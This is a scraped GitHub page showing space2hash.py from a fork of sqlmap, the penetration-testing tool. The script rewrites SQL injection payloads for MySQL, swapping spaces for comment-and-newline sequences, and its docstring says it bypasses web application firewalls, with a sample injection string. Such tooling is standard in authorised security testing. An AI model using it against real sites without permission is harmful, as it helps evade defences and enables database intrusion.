FazBrowse GitHub Viewer
|
Trending
|
URL:
|
Home
Tools:
[Download Repo ZIP]
[View Raw Code]
[Original HTTPS Page]
sqlmap/tamper/space2hash.py at master · getcode2git/sqlmap · GitHub
getcode2git
/
sqlmap
Public
forked from
sqlmapproject/sqlmap
Notifications
You must be signed in to change notification settings
Fork
0
Star
0
Code
Pull requests
0
Actions
Projects
Wiki
Security and quality
0
Insights
Additional navigation options
Code
Pull requests
Actions
Projects
Wiki
Security and quality
Insights
Expand file tree
Breadcrumbs
sqlmap
/
tamper
/
space2hash.py
Copy path
More file actions
More file actions
Latest commit
History
History
History
55 lines (42 loc) · 1.5 KB
Breadcrumbs
sqlmap
/
tamper
/
space2hash.py
Copy path
File metadata and controls
55 lines (42 loc) · 1.5 KB
Raw
Copy raw file
Download raw file
Open symbols panel
Edit and raw actions
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
#!/usr/bin/env python
"""
Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
import
os
import
random
import
string
from
lib
.
core
.
common
import
singleTimeWarnMessage
from
lib
.
core
.
enums
import
DBMS
from
lib
.
core
.
enums
import
PRIORITY
__priority__
=
PRIORITY
.
LOW
def
dependencies
():
singleTimeWarnMessage
(
"tamper script '%s' is only meant to be run against %s"
%
(
os
.
path
.
basename
(
__file__
).
split
(
"."
)[
0
],
DBMS
.
MYSQL
))
def
tamper
(
payload
,
**
kwargs
):
"""
Replaces space character (' ') with a pound character ('#') followed by
a random string and a new line ('
\n
')
Requirement:
* MySQL
Tested against:
* MySQL 4.0, 5.0
Notes:
* Useful to bypass several web application firewalls
* Used during the ModSecurity SQL injection challenge,
http://modsecurity.org/demo/challenge.html
>>> random.seed(0)
>>> tamper('1 AND 9227=9227')
'1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227'
"""
retVal
=
""
if
payload
:
for
i
in
xrange
(
len
(
payload
)):
if
payload
[
i
].
isspace
():
randomStr
=
''
.
join
(
random
.
choice
(
string
.
ascii_uppercase
+
string
.
ascii_lowercase
)
for
_
in
xrange
(
random
.
randint
(
6
,
12
)))
retVal
+=
"%%23%s%%0A"
%
randomStr
elif
payload
[
i
]
==
'#'
or
payload
[
i
:
i
+
3
]
==
'-- '
:
retVal
+=
payload
[
i
:]
break
else
:
retVal
+=
payload
[
i
]
return
retVal
Back
|
FazBrowse Home
|
New Git URL